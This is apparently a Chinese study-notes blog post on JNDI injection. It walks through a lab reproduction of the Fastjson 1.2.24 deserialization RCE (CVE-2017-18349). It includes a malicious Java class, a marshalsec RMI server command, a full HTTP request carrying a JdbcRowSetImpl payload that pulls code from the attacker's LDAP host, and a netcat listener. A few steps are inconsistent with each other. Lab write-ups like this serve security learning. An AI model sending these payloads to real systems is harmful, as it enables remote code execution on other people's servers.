json详解及fastjson使用
fastjson的使用
B站 jndi扩展
Java Naming and Directory Interface
可以理解为JNDI在J2EE中是一台交换机,将组件、资源、服务取了名字,再通过名字来查找
JNDI底层支持RMI远程对象,JNDI接口可以访问和调用RMI注册过的服务。
JNDI根据名字动态加载数据,支持的服务有DNS、LDAP、CORBA、RMI
B站 jndi注入
在JNDI服务中,RMI服务端除了直接绑定远程对象,还可以通过References类绑定一个外部的远程对象(当前名称目录系统之外的对象)。
绑定Reference后,
服务端先利用Referenceable.getReference()方法获取绑定对象的引用,并且在目录中保存。
当客户端使用lookup()方法查找该远程对象时,会返回ReferenceWrapper类的代理文件,接着调用getReference()获取Reference类,获取到相应的object factory,最终通过factory类将reference转换为具体的对象实例。
从ReferenceWrapper源码中也可以发现该类继承自UnicastRmoteObject,实现对Reference进行包裹,使得Reference类能够通过RMI服务进行远程访问
上面介绍了整个加载过程,则攻击利用流程如下:
- 目标代码中调用了InitialContext.lookup(URI),且URI为用户可控
- 攻击者控制URI参数为恶意的RMI服务地址,如:rmi://hacker_rmi_server//name
- 攻击者RMI服务器向目标返回一个Reference对象,Reference对象中指定某个精心构造的Factory类
- 目标在进行lookup() *** 作时,会动态加载并实例化Factory类,接着调用factory.getObjectInstance()获取外部远程对象实例
- 攻击者可以在Factory类文件的构造方法、静态代码块、getObjectInstance()方法等处写入恶意代码,达到RCE的效果
B站 rmi原理
Remote Method Invocation
是专为Java环境设计的远程方法调用机制,
远程服务器提供API,
客户端根据API提供相应参数即可调用远程方法。
由此可见,使用RMI时会涉及到参数传递和结果返回,参数为对象时,要求对象可以被序列化。
LDAP
Lightweight Directory Access Protocol
是轻量级目录访问协议,用于访问目录服务,基于X.500目录访问协议
目录是一个为查询、浏览和搜索而优化的专业分布式数据库,它呈树状结构组织数据
深入理解JNDI注入与Java反序列化漏洞利用: https://security.tencent.com/index.php/blog/msg/131
Fastjson1.2.24 反序列化漏洞RCE(CVE-2017-18349)漏洞复现开始按照这个文章 *** 作 ↓
https://cloud.tencent.com/developer/article/1853055
靶场:192.168.33.130
攻击机:192.168.33.129
https://vulhub.org/#/environments/fastjson/1.2.24-rce/
查看靶场容器java版本
在攻击机 下载对应版本 jdk
cd /opt curl http://www.joaomatosf.com/rnp/java_files/jdk-8u20-linux-x64.tar.gz -o jdk-8u20-linux-x64.tar.gz tar zxvf jdk-8u20-linux-x64.tar.gz rm -rf /usr/bin/java* ln -s /opt/jdk1.8.0_20/bin/j* /usr/bin javac -version java -version
分析:靶场环境为Java 8u102,没有com.sun.jndi.rmi.object.trustURLCodebase的限制,可以使用com.sun.rowset.JdbcRowSetImpl利用链结合JNDI注入执行远程命令
- 编译恶意类代码
创建文件名为TouchFile.java的文件
import java.lang.Runtime; import java.lang.Process; public class TouchFile{ static { try { Runtime rt = Runtime.getRuntime(); String[] commands = {"touch", "/tmp/test"}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { // do nothing } } }
使用javac编译
javac TouchFile.java
2. 下载marshalsec工具
marshalsec工具用于开启RMI服务器
下载地址:
https://github.com/mbechler/marshalsec
git clone https://github.com/mbechler/marshalsec.git
- 安装maven
apt-get install maven
*** 作一通,最终没能在kali中成功安装上maven
还是在ubuntu *** 作吧
- 使用maven编译marshalsec成jar包
mvn clean package -DskipTests
编译失败了
还是用windows的maven吧,希望可以成功
有了
把生成的marshalsec真个文件夹给复制到攻击机kali上去
5. 在攻击机 搭建启动RMI服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.33.129/#TouchFile" 9999
6. BurpSuite抓包改包
POST / HTTP/1.1 Host: 192.168.33.130:8090 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,**;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Type: application/json Content-Length: 190 {"e":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"f":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.33.129:8888/Object","autoCommit":true}}
3. 监听反dshell
nc -lvp 9001
发包 ~~~~
监听到了 嘿嘿
B站 fastjson攻防讲解视频
复制运行结果到代码中,以便进行反序列化 *** 作,会自动带转义字符 。
反序列化的过程 一大串的断点分析 晕晕晕 ~
B站 fastjson 下
编译 ↑
然后命令行执行python文件,获得加密后的poc
一堆断点分析 …
B站
所有的网络通信都是基于socket协议,跨语言通信
soap协议实现跨平台,跨语言通信
webservice缺点:传输了很多和业务无关的数据
新生出很多数据传输方式
dubbo
spring cloud
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)